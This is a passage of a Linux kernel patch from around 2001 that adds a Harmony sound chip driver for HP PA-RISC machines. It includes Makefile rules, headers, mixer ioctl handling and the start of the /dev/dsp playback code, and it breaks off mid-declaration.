 vidc_mod-objs	:= vidc.o vidc_fill.o
 wavefront-objs  := wavfront.o wf_midi.o yss225.o
+harmony-objs    := harmony_driver.o harmony_sound.o harmony_mixer.o
 
 
 # Extract lists of the multi-part drivers.
@@ -189,6 +190,9 @@
 wavefront.o: $(wavefront-objs)
 	$(LD) -r -o $@ $(wavefront-objs)
 
+harmony.o: $(harmony-objs)
+	$(LD) -r -o $@ $(harmony-objs.o)
+
 # Firmware files that need translation
 #
 # The translated files are protected by a file that keeps track
@@ -332,3 +336,8 @@
 ifneq ($(FILES_BOOT_CHANGED),)
 $(FILES_BOOT_CHANGED): dummy
 endif
+
+
+
+
+
diff -Nru linux.original/drivers/sound/harmony.h linux/drivers/sound/harmony.h
--- linux.original/drivers/sound/harmony.h	Thu Jan  1 01:00:00 1970
+++ linux/drivers/sound/harmony.h	Sat Jan 20 01:29:47 2001
@@ -0,0 +1,161 @@
+/* 
+   drivers/sound/harmony.h
+
+   These declarations come from original file
+   harmony.c written by Alex deVries.
+
+   Added Magics numbers for format file auto-detection.
+   Corrected HARMONY_SS_MONO and HARMONY_SS_STEREO to
+   their right values.
+
+                     Matthieu Delahaye <delahaym@esiee.fr>, 2001
+
+*/
+
+
+#ifndef _HARMONY_H
+#define _HARMONY_H
+#include <linux/config.h>
+#include <linux/delay.h>
+#include <linux/kernel.h>
+#include <linux/errno.h>
+#include <linux/init.h>
+#include <linux/ioport.h>
+#include <linux/malloc.h>
+#include <linux/types.h>
+#include <linux/mm.h>
+#include <asm/gsc.h>
+
+#include <asm/pgalloc.h>
+#include <asm/pdc.h>
+#include <asm/page.h>
+#include <asm/segment.h>
+#include <asm/system.h>
+#include <asm/io.h>
+#include <asm/hardware.h>
+
+#include <asm/irq.h>            /* for "gsc" irq functions */
+#include <asm/gsc.h>
+
+#include "sound_config.h"
+#define MAX_BUFS 3
+
+#define CNTL_C		0x80000000
+#define	CNTL_ST		0x00000020
+#define CNTL_44100	0x00000015
+#define CNTL_8000	0x00000008
+
+#define GAINCTL_HE	0x08000000
+#define GAINCTL_LE	0x04000000
+#define GAINCTL_SE	0x02000000
+
+#define DSTATUS_PN	0x00000200
+#define DSTATUS_RN	0x00000002
+
+#define DSTATUS_IE	0x80000000
+
+#define HARMONY_DF_16BIT_LINEAR	0
+#define HARMONY_DF_8BIT_ULAW	1
+#define HARMONY_DF_8BIT_ALAW	2
+
+#define HARMONY_SS_MONO 0
+#define HARMONY_SS_STEREO 1
+
+#define HARMONY_SR_8KHZ 0x08
+#define HARMONY_SR_16KHZ 0x09
+#define HARMONY_SR_27KHZ 0x0A
+#define HARMONY_SR_32KHZ 0x0B
+#define HARMONY_SR_48KHZ 0x0E
+#define HARMONY_SR_9KHZ 0x0F
+#define HARMONY_SR_5KHZ 0x10
+#define HARMONY_SR_11KHZ 0x11
+#define HARMONY_SR_18KHZ 0x12
+#define HARMONY_SR_22KHZ 0x13
+#define HARMONY_SR_37KHZ 0x14
+#define HARMONY_SR_44KHZ 0x15
+#define HARMONY_SR_33KHZ 0x16
+#define HARMONY_SR_6KHZ 0x17
+
+#define HARMONY_BUF_NONE	-1
+#define HARMONY_BUF_EMPTY	0
+#define HARMONY_BUF_FILLED	1
+#define HARMONY_BUF_READY_TO_PLAY	2
+#define HARMONY_BUF_PLAYING	3
+
+
+/* Some magics numbers used to auto-detect file formats */
+
+#define HARMONY_MAGIC_8B_ULAW 1
+#define HARMONY_MAGIC_8B_ALAW 27
+#define HARMONY_MAGIC_16B_LINEAR 3
+#define HARMONY_MAGIC_MONO 1
+#define HARMONY_MAGIC_STEREO 2
+
+struct harmony_hpa {
+	u8	unused000;
+	u8	id;
+	u8	teleshare_id;
+	u8	unused003;
+	u32	reset;
+	u32	cntl;
+	u32	gainctl;
+	u32	pnxtadd;
+	u32	pcuradd;
+	u32	rnxtadd;
+	u32	rcuradd;
+	u32	dstatus;
+	u32	ov;
+	u32	pio;
+	u32	unused02c;
+	u32	unused030[3];
+	u32	diag;
+};
+
+#define dma_consistent 0
+
+#define  CHECK_WBACK(addr,len) \
+        do { if (!dma_consistent) dma_cache_wback((unsigned long)addr,len); } while (0) 
+#define  CHECK_INV(addr,len) \
+        do { if (!dma_consistent) dma_cache_inv((unsigned long)addr,len); } while(0)
+
+#define  CHECK_WBACK_INV(addr,len) \
+        do { if (!dma_consistent) dma_cache_wback_inv((unsigned long)addr,len); } while (0) 
+
+struct harmony_dev {
+	int irq;
+	int frames_so_far;
+	struct harmony_hpa  *hpa;
+	int done;
+	int buf_state[MAX_BUFS+1];
+	u32 current_gain;
+	u8 data_format;
+	u8 sample_rate;
+	u8 stereo_select;  /* 1 = stereo, 0 = mono */
+	/* outstanding_buffers is a count that ensures that the number
+	   of recorded frames is the same as the number of played frames. 
+	   In the stable situation, this number is zero.  You should never
+	   disable interrupts until this is zero. */
+	int outstanding_buffers; 
+	int format_initialized;
+	
+};
+
+int harmony_mixer_init(struct harmony_dev *);
+int harmony_audio_init(struct harmony_dev *);
+
+
+
+
+#endif _HARMONY_H
+
+
+
+
+
+
+
+
+
+
+
+
diff -Nru linux.original/drivers/sound/harmony_driver.c linux/drivers/sound/harmony_driver.c
--- linux.original/drivers/sound/harmony_driver.c	Thu Jan  1 01:00:00 1970
+++ linux/drivers/sound/harmony_driver.c	Sat Jan 20 01:29:46 2001
@@ -0,0 +1,183 @@
+/* 
+
+ 	drivers/sound/harmony.c 
+
+	This is a sound driver for Lasi's Harmony sound chip.  This is
+	unlikely to be used for anything other than a PA-RISC.
+
+	Harmony is found in HP 712s, 715/new, and many other GSC based machines. 
+Copyright 2000 (c) Linuxcare Canada, Alex deVries <alex@linuxcare.com>
+
+Bugs:
+
+1. Doesn't work on 715/old
+
+This driver doesn't work on 715/old machines, which include the 715/75.  The
+chip used for this is technically called 'Vivace', which is identical to 
+Harmony.  Should be easy to fix.  It has something to do with the way it is
+reported by the inventory code.  The HPA is not that of Lasi or ASP so the
+interrupts aren't registered properly.
+
+3. gain control ioctls are missing
+4. recording is missing
+
+5. Buffer handling code
+
+The three buffer system should probably be changed to use N buffers, so we 
+can load the buffers into memory and then exit.  Shouldn't be too hard, and 
+the performance will be a lot nicer.
+
+6. Clicks at start and finish
+
+I'm not sure why, but somehow I've introduced two clicks at the start and
+two clicks at the finish of each playing.  Shouldn't be too hard to track down.
+
+
+About the rotating buffer
+-------------------------
+
+I'm going to explain how the rotating buffer thing works because I had a hard
+time figuring it out for myself.
+
+At any given time, harmony uses two different buffers.  One is the frame
+that is currently playing, another is the frame that is ready to be played.
+
+Obviously you can't be writing into either of these frames while the chip
+is playing, or you'll hear clicks, pops and out of order frames.  One weekend
+of listening to RMS sing The Free Software Song out of order is a good way to 
+drive this point home.
+
+So, we use a total of three frames.  One is in PLAYING mode, one is is 
+READY_TO_PLAY mode, and the third is either LOADED or EMPTY.  All buffers
+start up by being EMTPY.  When harmony_audio_write loads up two frames,
+interrupts are started and the loop starts.  The ISR pops in the first frame,
+marking it as PLAYING.  The ISR will get called again, and the second 
+frame will be loaded and marked as READY_TO_PLAY.  When the first frame is
+done, the ISR will be called again; frame one is marked as EMPTY to reload,
+frame two is marked PLAYING, frame three is marked READY_TO_PLAY.
+
+All the while, harmony_audio_write is looking for frames marked EMPTY, and
+filling them and marking them LOADED.
+
+Yes, this does actually work.
+
+Let me save you an entire Thursday of listening to "orvalds Linus Linux, I 
+prounouce as Linus This is" by giving you this rotating buffer code.
+
+*/
+
+
+
+/* 
+   The source code is splitted into two new files:
+   harmony_driver.c about hardware detectetion and
+   harmony_sound.c which manage /dev/dsp
+   
+   A new file, harmony_mixer.c, manage /dev/mixer.
+
+                          Matthieu Delahaye <delahaym@esiee.fr>, 2001
+*/
+
+
+
+
+#include "harmony.h"
+
+
+
+
+static struct harmony_dev harmony;
+static int harmony_driver_callback(struct hp_device *d, struct pa_iodc_driver *dri);
+
+
+/* This is the PDC signature to load up the driver. */
+
+static struct pa_iodc_driver harmony_drivers_for[] = {
+
+	{HPHW_FIO, 0x01B, 0, 0x0007B, 0x0, 0x0, 
+		DRIVER_CHECK_HWTYPE + DRIVER_CHECK_SVERSION,
+		"Lasi Harmony", "Harmony", (void *) harmony_driver_callback},
+	{0,0,0,0,0,0,0,
+	(char *) NULL,(char *) NULL,(void *) NULL}
+};
+
+
+void __init 
+register_harmony_drivers(void)
+{
+        register_driver(harmony_drivers_for);
+}
+
+/* This is the callback that's called by the inventory hardware code if
+it finds a match to the registered driver. */
+
+
+static int 
+harmony_driver_callback(struct hp_device *d, struct pa_iodc_driver *dri)
+{
+	
+	u8	id;
+	u8	rev;
+	u32	cntl;
+	int ret;
+
+	/* Set the HPA of harmony */
+
+	harmony.hpa = d->hpa;
+
+	/* Grab an IRQ from Lasi */
+	harmony.irq = busdevice_alloc_irq(d);
+
+	if (!harmony.irq) {
+		printk(KERN_ERR "Harmony: problem getting irq\n");
+		return -1;
+	}
+
+	request_region(&harmony, 13, "harmony");
+
+	/* Grab the ID and revision from the device */
+	id = gsc_readb((void *) &(harmony.hpa->id));
+
+	if((id | 1) != 0x15) {
+		printk(KERN_WARNING "harmony_init: wrong id %02x\n", id);
+		return -EBUSY;
+	}
+	cntl = gsc_readl(&harmony.hpa->cntl);
+	rev = ((cntl>>20)&0xff);
+
+        printk(KERN_INFO "Lasi Harmony Audio rev. %i at 0x%x, using IRQ %i\n",rev,(unsigned int) d->hpa,harmony.irq);
+
+
+
+	
+	
+	
+	/* Make sure the control bit isn't set, although I don't think it 
+	   ever is. */
+
+	if(cntl & CNTL_C) {
+		printk(KERN_WARNING "harmony_init: CNTL busy\n");
+		return -EBUSY;
+	}
+
+	/* Initialize /dev/mixer and /dev/audio  */
+
+
+	if((ret=harmony_mixer_init(&harmony))) return ret;
+	if((ret=harmony_audio_init(&harmony))) return ret;
+
+
+	return 0;
+}
+
+
+
+
+
+
+
+
+
+
+
+
diff -Nru linux.original/drivers/sound/harmony_mixer.c linux/drivers/sound/harmony_mixer.c
--- linux.original/drivers/sound/harmony_mixer.c	Thu Jan  1 01:00:00 1970
+++ linux/drivers/sound/harmony_mixer.c	Sat Jan 20 01:29:46 2001
@@ -0,0 +1,319 @@
+/*
+ * sound/harmony_mixer.c
+ *
+ * The low level mixer driver for the Harmony card.
+ */
+
+/*
+ *  function ioctl inspired from file sb_mixer.c
+ *           Matthieu Delahaye <delahaym@esiee.fr>, 2001
+ */
+
+#include "sound_config.h"
+
+#include "harmony.h"
+#include "harmony_mixer.h"
+
+
+struct harmony_dev * harmony_mixer;
+
+
+/*
+ * This is the only place where the gainctl is written
+ */
+
+static void harmony_mixer_set_gain(void)
+{
+	int cntl;
+	while((cntl = gsc_readl(&harmony_mixer->hpa->cntl)) & CNTL_C);
+#if 0
+	printk(KERN_INFO "Harmony gain is now %x\n",harmony_mixer->current_gain);
+#endif
+	gsc_writel(harmony_mixer->current_gain, &harmony_mixer->hpa->gainctl);
+	while((cntl = gsc_readl(&harmony_mixer->hpa->cntl)) & CNTL_C);
+  
+}
+
+
+/* 
+ *  Read gain of selected channel.
+ *  The OSS rate is from 0 (silent) to 100 -> need some conversions
+ *
+ *  The harmony gain are attenuation for output and monitor gain.
+ *                   is amplifaction for input gain
+ */
+#define to_harmony_level(level,max) (level)*max/100 
+#define to_oss_level(level,max) (level)*100/max;
+
+static int harmony_mixer_get_level(int channel)
+{
+	int left_level;
+	int right_level;
+
+	if(channel == SOUND_MIXER_OGAIN) {
+		left_level=(harmony_mixer->current_gain & GAIN_LO_MASK) >> GAIN_LO_SHIFT;
+		right_level=(harmony_mixer->current_gain & GAIN_RO_MASK) >> GAIN_RO_SHIFT;
+		left_level=to_oss_level(MAX_OUTPUT_LEVEL - left_level,MAX_OUTPUT_LEVEL);
+		right_level=to_oss_level(MAX_OUTPUT_LEVEL - right_level,MAX_OUTPUT_LEVEL);
+		return (right_level << 8)+left_level;
+	}
+	if(channel == SOUND_MIXER_IGAIN) {
+		left_level=(harmony_mixer->current_gain & GAIN_LI_MASK) >> GAIN_LI_SHIFT;
+		right_level=(harmony_mixer->current_gain & GAIN_RI_MASK) >> GAIN_RI_SHIFT;
+		left_level=to_oss_level(left_level,MAX_INPUT_LEVEL);
+		right_level=to_oss_level(right_level,MAX_INPUT_LEVEL);
+		return (right_level << 8)+left_level;
+	}
+	if(channel == SOUND_MIXER_VOLUME) {
+		left_level=(harmony_mixer->current_gain & GAIN_MA_MASK) >> GAIN_MA_SHIFT;
+		left_level=to_oss_level(MAX_VOLUME_LEVEL-left_level,MAX_VOLUME_LEVEL);
+		return left_level;
+	}
+	return -EINVAL;
+}
+
+
+/*
+ * Some conversions for the same reasons.
+ * We give back the new real value(s) due to
+ * the rescale.
+ */
+
+static int harmony_mixer_set_level(int channel, int value)
+{
+	int left_level;
+	int right_level;
+	int new_left_level;
+	int new_right_level;
+
+	right_level=(value & 0x0000ff00) >> 8;
+	left_level=value & 0x000000ff;
+  
+	if(channel == SOUND_MIXER_OGAIN) {
+		right_level=to_harmony_level(100-right_level,MAX_OUTPUT_LEVEL);
+		left_level=to_harmony_level(100-left_level,MAX_OUTPUT_LEVEL);
+		new_right_level=to_oss_level(MAX_OUTPUT_LEVEL - right_level,MAX_OUTPUT_LEVEL);
+		new_left_level=to_oss_level(MAX_OUTPUT_LEVEL - left_level,MAX_OUTPUT_LEVEL);
+		harmony_mixer->current_gain=(harmony_mixer->current_gain & ~(GAIN_LO_MASK | GAIN_RO_MASK)) | (left_level << GAIN_LO_SHIFT) | (right_level << GAIN_RO_SHIFT);
+		harmony_mixer_set_gain();
+		return (new_right_level << 8) + new_left_level;		
+	}
+	if(channel == SOUND_MIXER_IGAIN) {
+      
+		right_level=to_harmony_level(right_level,MAX_INPUT_LEVEL);
+		left_level=to_harmony_level(left_level,MAX_INPUT_LEVEL);
+		new_right_level=to_oss_level(right_level,MAX_INPUT_LEVEL);
+		new_left_level=to_oss_level(left_level,MAX_INPUT_LEVEL);
+		harmony_mixer->current_gain=(harmony_mixer->current_gain & ~(GAIN_LI_MASK | GAIN_RI_MASK)) | (left_level << GAIN_LI_SHIFT) | (right_level << GAIN_RI_SHIFT);
+		harmony_mixer_set_gain();
+		return (new_right_level << 8) + new_left_level;
+		
+	}
+	if(channel == SOUND_MIXER_VOLUME) {
+		
+		left_level=to_harmony_level(100-left_level,MAX_VOLUME_LEVEL);
+		new_left_level=to_oss_level(MAX_VOLUME_LEVEL-left_level,MAX_VOLUME_LEVEL);
+		harmony_mixer->current_gain=(harmony_mixer->current_gain & ~GAIN_MA_MASK)| (left_level << GAIN_MA_SHIFT);
+		harmony_mixer_set_gain();
+		return new_left_level;
+	}
+
+	return -EINVAL;
+}
+
+
+/* 
+ * Return the selected input device (mic or line)
+ */
+
+static int harmony_mixer_get_recmask(void) 
+{
+	int current_input_line;
+	
+	current_input_line=(harmony_mixer->current_gain & GAIN_IS_MASK) >> GAIN_IS_SHIFT;
+	if(current_input_line) return SOUND_MASK_MIC;
+	else return SOUND_MASK_LINE;
+}
+
+/*
+ * Set the input (only one at time, arbitrary priority to line in)
+ */
+
+static int harmony_mixer_set_recmask(int recmask)
+{
+	int new_input_line;
+	int new_input_mask;
+
+	if((recmask & SOUND_MASK_LINE)) {
+		new_input_line=0;
+		new_input_mask=SOUND_MASK_LINE;
+	} else  {
+		new_input_line=1;
+		new_input_mask=SOUND_MASK_MIC;
+	}
+	harmony_mixer->current_gain=((harmony_mixer->current_gain & ~GAIN_IS_MASK) | (new_input_line << GAIN_IS_SHIFT ));
+	harmony_mixer_set_gain();
+	return new_input_mask;
+}
+
+
+/* 
+ * give the active outlines
+ */
+
+static int harmony_mixer_get_outmask(void)
+{
+	int outmask;
+	
+	outmask=0;
+	
+	if(harmony_mixer->current_gain & GAIN_HE_MASK) outmask |=SOUND_MASK_PHONEOUT;
+	if(harmony_mixer->current_gain & GAIN_LE_MASK) outmask |=SOUND_MASK_LINE;
+	if(harmony_mixer->current_gain & GAIN_SE_MASK) outmask |=SOUND_MASK_SPEAKER;
+	return outmask;
+}
+
+
+
+static int harmony_mixer_set_outmask(int outmask)
+{
+	if(outmask & SOUND_MASK_PHONEOUT) 
+		harmony_mixer->current_gain|=GAIN_HE_MASK; 
+	else harmony_mixer->current_gain&=~GAIN_HE_MASK;
+	if(outmask & SOUND_MASK_LINE) harmony_mixer->current_gain|=GAIN_LE_MASK;
+	else harmony_mixer->current_gain&=~GAIN_LE_MASK;
+	if(outmask & SOUND_MASK_SPEAKER) harmony_mixer->current_gain|=GAIN_SE_MASK;
+	else harmony_mixer->current_gain&=~GAIN_SE_MASK;
+	harmony_mixer_set_gain();
+	return (outmask & (SOUND_MASK_PHONEOUT | SOUND_MASK_LINE | SOUND_MASK_SPEAKER));
+
+}
+
+/*
+ * This code is inspired from sb_mixer.c
+ * It determins actions selected by application
+ */
+
+int harmony_mixer_ioctl(struct inode * inode, struct file * file, unsigned int cmd, unsigned long arg)
+{
+	int val;
+	int ret;
+
+	if (((cmd >> 8) & 0xff) == 'M') {
+		if (_SIOC_DIR(cmd) & _SIOC_WRITE) {
+			if (get_user(val, (int *)arg)) return -EFAULT;
+     
+			switch (cmd & 0xff) {
+			case SOUND_MIXER_RECSRC:
+				ret = harmony_mixer_set_recmask(val);
+				break;
+				
+			case SOUND_MIXER_OUTSRC:
+				ret = harmony_mixer_set_outmask(val);
+				break;
+				
+			default:
+				ret = harmony_mixer_set_level(cmd & 0xff, val);
+			}
+		} else {
+	  
+			switch (cmd & 0xff) {
+				
+			case SOUND_MIXER_RECSRC:
+				ret = harmony_mixer_get_recmask();
+				break;
+				
+			case SOUND_MIXER_OUTSRC:
+				ret = harmony_mixer_get_outmask();
+				break;
+				
+			case SOUND_MIXER_DEVMASK:
+				ret = HARMONY_MIXER_DEVICES;
+				break;
+	      
+			case SOUND_MIXER_STEREODEVS:
+				ret = HARMONY_STEREO_DEVICES;
+				break;
+	      
+			case SOUND_MIXER_RECMASK:
+				ret = HARMONY_RECORDING_DEVICES;
+				break;
+	      
+			case SOUND_MIXER_OUTMASK:
+				ret = HARMONY_OUTPUT_DEVICES;
+				break;
+				
+			case SOUND_MIXER_CAPS:
+				ret = HARMONY_CAPS;
+				break;
+	      
+			default:
+				ret = harmony_mixer_get_level(cmd & 0xff);
+				break;
+			}
+		}
+		return put_user(ret, (int *)arg); 
+	} else
+		return -EINVAL;
+}
+
+static struct file_operations harmony_mixer_fops = {
+	owner:	THIS_MODULE,
+	ioctl: 	harmony_mixer_ioctl,
+};
+
+
+/*
+ * Mute all the output and reset Harmony.
+ */
+
+void harmony_mixer_reset(void)
+{
+	harmony_mixer->current_gain=GAIN_TOTAL_SILENCE;
+	harmony_mixer_set_gain();
+	gsc_writel(1, &harmony_mixer->hpa->reset);
+	udelay(100);
+	gsc_writel(0, &harmony_mixer->hpa->reset);
+	harmony_mixer->current_gain=GAIN_DEFAULT;
+	harmony_mixer_set_gain();
+}
+
+int harmony_mixer_init(struct harmony_dev * harmony_device)
+{
+  
+	int ret;
+	harmony_mixer=harmony_device;
+  
+	/* Register the device file operations */
+
+	ret=register_sound_mixer(&harmony_mixer_fops,-1);
+	if(ret<0) {
+		printk(KERN_WARNING "Harmony: Error Registering Mixer Driver\n");
+		return -EFAULT;
+	}
+  
+	harmony_mixer_reset();
+  
+	return 0;
+}
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff -Nru linux.original/drivers/sound/harmony_mixer.h linux/drivers/sound/harmony_mixer.h
--- linux.original/drivers/sound/harmony_mixer.h	Thu Jan  1 01:00:00 1970
+++ linux/drivers/sound/harmony_mixer.h	Sat Jan 20 01:29:47 2001
@@ -0,0 +1,62 @@
+/*
+ * sound/harmony_mixer.h
+ * 
+ * Definitions for the Harmony mixer
+ *      Matthieu Delahaye <delahaym@esiee.fr>, 2001
+ *
+ */
+
+
+/*
+ * Channels Positions in mixer register
+ */
+
+#define GAIN_HE_SHIFT   27
+#define GAIN_HE_MASK    ( 1 << GAIN_HE_SHIFT) 
+#define GAIN_LE_SHIFT   26
+#define GAIN_LE_MASK    ( 1 << GAIN_LE_SHIFT) 
+#define GAIN_SE_SHIFT   25
+#define GAIN_SE_MASK    ( 1 << GAIN_SE_SHIFT) 
+#define GAIN_IS_SHIFT   24
+#define GAIN_IS_MASK    ( 1 << GAIN_IS_SHIFT) 
+#define GAIN_MA_SHIFT   20
+#define GAIN_MA_MASK    ( 0x0f << GAIN_MA_SHIFT) 
+#define GAIN_LI_SHIFT   16
+#define GAIN_LI_MASK    ( 0x0f << GAIN_LI_SHIFT) 
+#define GAIN_RI_SHIFT   12
+#define GAIN_RI_MASK    ( 0x0f << GAIN_RI_SHIFT) 
+#define GAIN_LO_SHIFT   6
+#define GAIN_LO_MASK    ( 0x3f << GAIN_LO_SHIFT) 
+#define GAIN_RO_SHIFT   0
+#define GAIN_RO_MASK    ( 0x3f << GAIN_RO_SHIFT) 
+
+
+
+
+
+#define MAX_OUTPUT_LEVEL (GAIN_RO_MASK >> GAIN_RO_SHIFT)
+#define MAX_INPUT_LEVEL  (GAIN_RI_MASK >> GAIN_RI_SHIFT)
+#define MAX_VOLUME_LEVEL (GAIN_MA_MASK >> GAIN_MA_SHIFT)
+
+
+/*
+ * OSS values
+ */
+
+#define HARMONY_MIXER_DEVICES (SOUND_MASK_OGAIN|SOUND_MASK_IGAIN|SOUND_MASK_VOLUME)
+#define HARMONY_RECORDING_DEVICES (SOUND_MASK_MIC | SOUND_MASK_LINE )
+#define HARMONY_OUTPUT_DEVICES (SOUND_MASK_SPEAKER | SOUND_MASK_LINE | SOUND_MASK_PHONEOUT )
+#define HARMONY_CAPS 1
+#define HARMONY_STEREO_DEVICES (SOUND_MASK_IGAIN | SOUND_MASK_OGAIN)
+
+/*
+ * Channels Mask in mixer register
+ */
+
+
+#define GAIN_TOTAL_SILENCE 0x00F00FFF
+#define GAIN_DEFAULT       0x0FF00FFF
+
+
+
+
diff -Nru linux.original/drivers/sound/harmony_sound.c linux/drivers/sound/harmony_sound.c
--- linux.original/drivers/sound/harmony_sound.c	Thu Jan  1 01:00:00 1970
+++ linux/drivers/sound/harmony_sound.c	Sat Jan 20 01:29:47 2001
@@ -0,0 +1,703 @@
+/* 
+
+ 	drivers/sound/harmony.c 
+
+	This is a sound driver for Lasi's Harmony sound chip.  This is
+	unlikely to be used for anything other than a PA-RISC.
+
+	Harmony is found in HP 712s, 715/new, and many other GSC based machines. 
+Copyright 2000 (c) Linuxcare Canada, Alex deVries <alex@linuxcare.com>
+
+Bugs:
+
+1. Doesn't work on 715/old
+
+This driver doesn't work on 715/old machines, which include the 715/75.  The
+chip used for this is technically called 'Vivace', which is identical to 
+Harmony.  Should be easy to fix.  It has something to do with the way it is
+reported by the inventory code.  The HPA is not that of Lasi or ASP so the
+interrupts aren't registered properly.
+
+3. gain control ioctls are missing
+4. recording is missing
+
+5. Buffer handling code
+
+The three buffer system should probably be changed to use N buffers, so we 
+can load the buffers into memory and then exit.  Shouldn't be too hard, and 
+the performance will be a lot nicer.
+
+6. Clicks at start and finish
+
+I'm not sure why, but somehow I've introduced two clicks at the start and
+two clicks at the finish of each playing.  Shouldn't be too hard to track down.
+
+
+About the rotating buffer
+-------------------------
+
+I'm going to explain how the rotating buffer thing works because I had a hard
+time figuring it out for myself.
+
+At any given time, harmony uses two different buffers.  One is the frame
+that is currently playing, another is the frame that is ready to be played.
+
+Obviously you can't be writing into either of these frames while the chip
+is playing, or you'll hear clicks, pops and out of order frames.  One weekend
+of listening to RMS sing The Free Software Song out of order is a good way to 
+drive this point home.
+
+So, we use a total of three frames.  One is in PLAYING mode, one is is 
+READY_TO_PLAY mode, and the third is either LOADED or EMPTY.  All buffers
+start up by being EMTPY.  When harmony_audio_write loads up two frames,
+interrupts are started and the loop starts.  The ISR pops in the first frame,
+marking it as PLAYING.  The ISR will get called again, and the second 
+frame will be loaded and marked as READY_TO_PLAY.  When the first frame is
+done, the ISR will be called again; frame one is marked as EMPTY to reload,
+frame two is marked PLAYING, frame three is marked READY_TO_PLAY.
+
+All the while, harmony_audio_write is looking for frames marked EMPTY, and
+filling them and marking them LOADED.
+
+Yes, this does actually work.
+
+Let me save you an entire Thursday of listening to "orvalds Linus Linux, I 
+prounouce as Linus This is" by giving you this rotating buffer code.
+
+*/
+
+
+/* 
+   Changeg struct harmony_dev named harmony to 
+   a pointer (named harmony_audio) to the same structure
+   
+   Putted out all access to gain and reset 
+   (harmony_mixer now managed these)
+
+   Added harmony_format_auto_detect which try to auto-detect
+   file format when the application start to send data without
+   any initialization. File formats recognized are:
+      8bit u-law
+      8bit A-law
+      16bit linear
+   Others file formats aren't directly supported by Harmony.
+
+                     Matthieu Delahaye <delahaym@esiee.fr> , 2001
+
+*/
+
+
+/* Until we have recording working, this is where we're putting the recording data. */
+
+/* The following is required because of our cache incoherence */
+#include "harmony.h"
+static char graveyard[4096] __attribute__((aligned(4096)));
+
+static unsigned char aligned_buf [4096*(MAX_BUFS+1)] __attribute__ ((aligned (4096))); 
+
+
+
+static int harmony_audio_open(struct inode *inode, struct file *file);
+static int harmony_audio_release(struct inode *inode, struct file *file);
+static loff_t harmony_audio_llseek(struct file *file, loff_t offset, int whence);
+static ssize_t harmony_audio_read(struct file *file,
+                                char *buffer,
+                                size_t count,
+                                loff_t *ppos);
+static ssize_t harmony_audio_write(struct file *file,
+                                 const char *buffer,
+                                 size_t count,
+                                 loff_t *ppos);
+static unsigned int harmony_audio_poll(struct file *file,
+                                     struct poll_table_struct *wait);
+static int harmony_audio_ioctl(struct inode *inode,
+                                struct file *file,
+                                unsigned int cmd,
+                                unsigned long arg);
+static int harmony_audio_mmap(struct file *file, struct vm_area_struct *vma);
+
+
+static void harmony_interrupt(int irq, void *dev, struct pt_regs *regs);
+
+static void harmony_set_control(u8 data_format, u8 sample_rate, u8 stereo_select) ;
+static void harmony_set_format(u8 data_format);
+static void harmony_set_rate(u8 data_rate);
+static int harmony_enable_interrupts(void); 
+static int harmony_disable_interrupts(void);
+static int harmony_silence(unsigned char * buffer,int end, int start);
+
+static struct file_operations harmony_audio_fops = {
+	owner: THIS_MODULE,
+	llseek: harmony_audio_llseek,
+	read: 	harmony_audio_read,
+	write:	harmony_audio_write,
+	poll: 	harmony_audio_poll,
+	ioctl: 	harmony_audio_ioctl,
+	mmap:	harmony_audio_mmap,
+	open: 	harmony_audio_open,
+	release:	harmony_audio_release,
+};
+
+static struct harmony_dev * harmony_audio;
+
+/* This is the PDC signature to load up the driver. */
+
+
+/* This is the callback that's called by the inventory hardware code if
+it finds a match to the registered driver. */
+
+static void harmony_update_control(void) {
+	u32 default_cntl;
+
+	/* Set CNTL */
+	default_cntl = ((1 << 31) |  /* The C bit */
+		(harmony_audio->data_format << 6) |   /* Set the data format */
+		(harmony_audio->stereo_select << 5) |   /* Stereo select */
+		(harmony_audio->sample_rate));        /* Set sample rate */
+	harmony_audio->format_initialized=1;
+	
+	/* initialize CNTL */
+	gsc_writel( default_cntl, &harmony_audio->hpa->cntl);
+}
+
+static void harmony_set_control(u8 data_format, u8 sample_rate, u8 stereo_select) {
+
+	harmony_audio->sample_rate = sample_rate;
+	harmony_audio->data_format = data_format;
+	harmony_audio->stereo_select = stereo_select;
+	harmony_update_control();
+}
+static void harmony_set_rate(u8 data_rate) {
+	harmony_audio->sample_rate = data_rate;
+	harmony_update_control();
+}
+
+static void harmony_set_format(u8 data_format) {
+
+	harmony_audio->data_format = data_format;
+	harmony_update_control();
+}
+
+static void harmony_set_stereo(u8 stereo_select) {
+
+	harmony_audio->stereo_select = stereo_select;
+	harmony_update_control();
+}
+
+static int harmony_disable_interrupts(void) {
+	/* Enable interrupts to start playing again */
+	gsc_writel(0,&(harmony_audio->hpa->dstatus)); 
+	return 0;
+}
+
+static int harmony_enable_interrupts(void) {
+	/* Enable interrupts to start playing again */
+	gsc_writel(DSTATUS_IE,&(harmony_audio->hpa->dstatus)); 
+	return 0;
+}
+
+/*
+ * silence()
+ *
+ * This subroutine fills in a buffer starting at location start and
+ * silences for length bytes.  This references the current
+ * configuration of the audio format.
+ *
+ */
+
+static int harmony_silence(unsigned char * buffer,int start, int length) {
+
+	u8 silence_char = 0;
+
+	/* Despite what you hear, silence is different in
+	   different audio formats.  */
+
+	switch (harmony_audio->data_format) {
+		case HARMONY_DF_16BIT_LINEAR: silence_char = 0; break;
+		case HARMONY_DF_8BIT_ULAW:	silence_char = 0x55; break;
+		case HARMONY_DF_8BIT_ALAW:	silence_char = 0xff; break;
+		default: silence_char = 0;
+	}
+
+	memset(aligned_buf+start,silence_char, length);
+	return 0;
+}
+
+
+static int harmony_audio_open(struct inode *inode, struct file *file)
+{
+	int i;
+	u32	cntl;
+
+	/* Clear out the state of all the buffers */
+	for (i=0;i<MAX_BUFS;i++) {
+		harmony_audio->buf_state[i] = HARMONY_BUF_EMPTY;
+	}
+	harmony_audio->frames_so_far = 0;
+	harmony_audio->done = 0;
+	harmony_audio->outstanding_buffers = 0; 
+	harmony_audio->format_initialized = 0;
+	
+/* Start off in a balanced mode. */
+	
+
+	/* Clear out all the buffers and flush to cache */
+	harmony_silence(aligned_buf,0,4096*MAX_BUFS);
+	CHECK_WBACK_INV(aligned_buf,4096*MAX_BUFS);
+
+	while((cntl = gsc_readl(&harmony_audio->hpa->cntl)) & CNTL_C);
+
+	return 0;
+}
+
+/*
+ * Release (close) the audio device.
+ */
+
+static int harmony_audio_release(struct inode *inode, struct file *file)
+{
+	harmony_audio->format_initialized=0;
+	
+	return 0;
+}
+static loff_t harmony_audio_llseek(struct file *file, loff_t offset, int whence)
+{
+	printk(KERN_ERR "harmony: llseek\n");
+	return -ENODEV;
+}
+
+static ssize_t harmony_audio_read(struct file *file,
